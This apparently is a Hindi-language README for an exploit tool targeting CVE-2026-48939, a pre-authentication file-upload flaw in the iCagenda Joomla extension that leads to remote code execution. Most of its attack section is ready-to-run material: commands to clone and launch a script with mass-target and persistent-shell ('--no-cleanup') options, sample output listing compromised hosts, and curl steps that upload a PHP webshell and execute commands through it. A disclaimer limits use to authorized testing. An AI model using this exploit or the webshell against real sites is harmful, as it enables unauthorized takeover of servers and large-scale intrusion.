
iCagenda Joomla एक्सटेंशन < 4.0.8 (CVSS 10.0) के लिए प्रमाणीकरण-पूर्व मनमाना फ़ाइल अपलोड RCE एक्सप्लॉइट
CVE-2026-48939 Joomla के लिए iCagenda इवेंट्स कैलेंडर एक्सटेंशन में CVSS 10.0 की गंभीर भेद्यता है। फ्रंटएंड इवेंट पंजीकरण फॉर्म की फ़ाइल अनुलग्नक सुविधा एक्सेस नियंत्रण केवल व्यू परत पर लागू करती है — कंट्रोलर पर नहीं — जिससे बिना प्रमाणीकरण और बिना किसी एक्सटेंशन सत्यापन के फ़ाइल अपलोड संभव हो जाता है।
अपलोड की गई फ़ाइलें सीधे वेब रूट के अंतर्गत /images/icagenda/frontend/attachments/ में जमा होती हैं और तुरंत PHP के रूप में निष्पादन योग्य होती हैं।
| iCagenda संस्करण | स्थिति |
|---|---|
| 3.2.1 – 3.9.14 | असुरक्षित |
| 4.0.0 – 4.0.7 | असुरक्षित |
| 3.9.15 / 4.0.8+ | पैच किया गया |
registration.submit कंट्रोलर कंपोनेंट सेटिंग्स में कॉन्फ़िगर की गई "केवल पंजीकृत" एक्सेस प्रतिबंध लागू किए बिना फ़ाइल अपलोड को संसाधित करता है। फ़ाइल अनुलग्नक उनके मूल एक्सटेंशन के साथ बिना किसी अनुमतिसूची (allowlist), MIME प्रकार, या सामग्री सत्यापन के लिखे जाते हैं।
View Layer → "Registered Only" enforced (attempts to block)
Controller → No auth check whatsoever (trivially bypassed by POST)
File Handler → No extension allowlist, no MIME check, no content scan
Destination → Web-accessible directory → PHP executes directly
POST /index.php?option=com_icagenda&task=registration.submit
jform[attachment] = shell.php → saved to /images/icagenda/frontend/attachments/
GET /images/icagenda/frontend/attachments/shell_TIMESTAMP.php?cmd=id
→ PHP executed → RCE
git clone https://github.com/shinthink/CVE-2026-48939.git
cd CVE-2026-48939
pip install -r requirements.txt
# Single target
python cve_2026_48939.py -t target.com
# Mass exploit
python cve_2026_48939.py -f targets.txt
# Persistent shell (no cleanup)
python cve_2026_48939.py -t target.com --no-cleanup
# Save results
python cve_2026_48939.py -f targets.txt -o rce.txt
-t, --target Single target (domain or IP)
-f, --file Target list, one per line
-o, --output Save RCE results to file
--threads Concurrent workers (default: 25)
--no-cleanup Leave shells on target
-v, --verbose Show detailed output
$ python cve_2026_48939.py -t target.com -v
CVE-2026-48939 — iCagenda Joomla RCE Exploit
CVSS 10.0 | Pre-Auth | File Upload → RCE
[+] POST registration.submit (jform[attachment]): HTTP 200
[+] Shell: https://target.com/images/icagenda/frontend/attachments/ic_a3f2b9c1.php
Host : target.com
iCagenda : YES v4.0.5
Vuln : YES
RCE : YES
Shell : https://target.com/images/icagenda/frontend/attachments/ic_a3f2b9c1.php
Output : uid=1001(www-data) gid=1001(www-data) groups=1001(www-data)
Time : 3.2s
CVE-2026-48939 iCagenda RCE Exploit
Targets: 500 | Threads: 25 | Cleanup: ON
-------------------------------------------------------
[RCE] target-1.com v4.0.5 3.2s
uid=1001(www-data) gid=1001(www-data)
[RCE] target-2.com v3.9.12 4.1s
uid=33(www-data) gid=33(www-data)
-------------------------------------------------------
Total: 500 | iCagenda: 23 | RCE: 8
-------------------------------------------------------
चरण 1 — PHP वेबशेल अपलोड करें
cat > shell.php << 'EOF'
<?php echo "OK|".php_uname(); system($_GET["c"]); ?>
EOF
curl -sk -X POST \
-F "title=Event" \
-F "jform[attachment][email protected];type=application/x-php" \
"https://target.com/index.php?option=com_icagenda&task=registration.submit"
चरण 2 — कमांड निष्पादित करें
curl -sk "https://target.com/images/icagenda/frontend/attachments/shell_TIMESTAMP.php?c=id"
केवल शैक्षिक और अधिकृत परीक्षण प्रयोजनों के लिए।
यह सॉफ़्टवेयर अधिकृत पेनेट्रेशन परीक्षण करने वाले सुरक्षा पेशेवरों, अपने स्वयं के बुनियादी ढांचे का ऑडिट करने वाले संगठनों, और भेद्यता शोषण का अध्ययन करने वाले शोधकर्ताओं के लिए है।
कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है और निम्नलिखित का उल्लंघन हो सकता है:
- संयुक्त राज्य अमेरिका: कंप्यूटर फ्रॉड एंड अब्यूज़ एक्ट (18 U.S.C. 1030)
- इंडोनेशिया: UU ITE धारा 30 और 46
- यूरोपीय संघ: निर्देश 2013/40/EU
- यूनाइटेड किंगडम: कंप्यूटर मिसयूज़ एक्ट 1990
लेखक दुरुपयोग के लिए कोई दायित्व नहीं लेते हैं।
| संसाधन | लिंक |
|---|---|
| IONIX सलाह | ionix.io/threat-center/cve-2026-48939 |
| NVD प्रविष्टि | CVE-2026-48939 |
| iCagenda परिवर्तन-लॉग | icagenda.com/docs |
यह प्रोजेक्ट iCagenda या Joomlic से संबद्ध नहीं है।